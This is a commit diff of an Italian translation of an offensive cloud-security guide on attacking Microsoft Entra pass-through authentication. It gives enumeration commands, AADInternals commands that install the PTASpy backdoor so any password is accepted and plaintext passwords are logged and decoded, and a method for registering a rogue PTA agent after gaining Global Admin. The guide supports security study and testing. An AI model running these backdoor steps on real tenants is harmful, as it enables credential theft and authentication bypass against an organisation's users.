Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:22 +00:00
parent f58c27fd1d
commit f9565ebca7

View File

@@ -4,18 +4,18 @@
## Informazioni di base
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché è meno probabile che i tuoi utenti dimentichino come accedere. Quando gli utenti accedono utilizzando Azure AD, questa funzionalità **convalida le password degli utenti direttamente contro il tuo Active Directory on-premises**.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché è meno probabile che i tuoi utenti dimentichino come accedere. Quando gli utenti accedono utilizzando Microsoft Entra ID, questa funzionalità convalida le password degli utenti direttamente contro il tuo Active Directory on-premises.
In PTA **le identità** sono **synchronize** ma **le password** **non lo sono** come in PHS.
In PTA **le identità** sono **synchronize** ma **le password non lo sono** come in PHS.
L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud avviene tramite un **agente di autenticazione** in esecuzione su un **server on-prem** (non deve essere sul DC on-prem).
L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud avviene tramite un **agente di autenticazione** in esecuzione su un **server on-prem** (non deve essere necessariamente sul DC on-prem).
### Flusso di autenticazione
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Per **accedere** l'utente viene reindirizzato a **Azure AD**, dove invia il **nome utente** e la **password**
2. Le **credenziali** sono **crittografate** e messe in una **coda** in Azure AD
1. Per **accedere**, l'utente viene reindirizzato a **Azure AD**, dove invia il **nome utente** e la **password**
2. Le **credenziali** sono **crittografate** e impostate in una **coda** in Azure AD
3. L'**agente di autenticazione on-prem** raccoglie le **credenziali** dalla coda e le **decrittografa**. Questo agente è chiamato **"Pass-through authentication agent"** o **agente PTA.**
4. L'**agente** **convalida** le credenziali contro l'**AD on-prem** e invia la **risposta** **indietro** a Azure AD che, se la risposta è positiva, **completa l'accesso** dell'utente.
@@ -23,19 +23,53 @@ L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud
> Se un attaccante **compromette** il **PTA** può **vedere** tutte le **credenziali** dalla coda (in **testo chiaro**).\
> Può anche **convalidare qualsiasi credenziale** su AzureAD (attacco simile a Skeleton key).
### On-Prem -> cloud
### Enumerazione
From Entra ID:
```bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Controlla se l'agente è in esecuzione nel server on-prem:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Se hai accesso **admin** al **server Azure AD Connect** con l'**agente PTA** in esecuzione, puoi utilizzare il modulo **AADInternals** per **inserire una backdoor** che **convaliderà TUTTE le password** inserite (quindi tutte le password saranno valide per l'autenticazione):
```bash
Install-AADIntPTASpy
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Se l'**installazione fallisce**, ciò è probabilmente dovuto a [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) mancanti.
> Se l'**installazione fallisce**, ciò è probabilmente dovuto alla mancanza dei [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
È anche possibile **vedere le password in chiaro inviate all'agente PTA** utilizzando il seguente cmdlet sulla macchina dove è stata installata la precedente backdoor:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Questo backdoor farà:
- Creare una cartella nascosta `C:\PTASpy`
@@ -45,10 +79,8 @@ Questo backdoor farà:
> [!NOTE]
> Quando il servizio AzureADConnectAuthenticationAgent viene riavviato, PTASpy viene “scaricato” e deve essere reinstallato.
### Cloud -> On-Prem
> [!CAUTION]
> Dopo aver ottenuto **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** impostandolo su una **macchina controllata dall'attaccante**. Una volta che l'agente è **configurato**, possiamo **ripetere** i **precedenti** passaggi per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.**
> Dopo aver ottenuto i **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** e **ripetere** i **passaggi precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.**
### Seamless SSO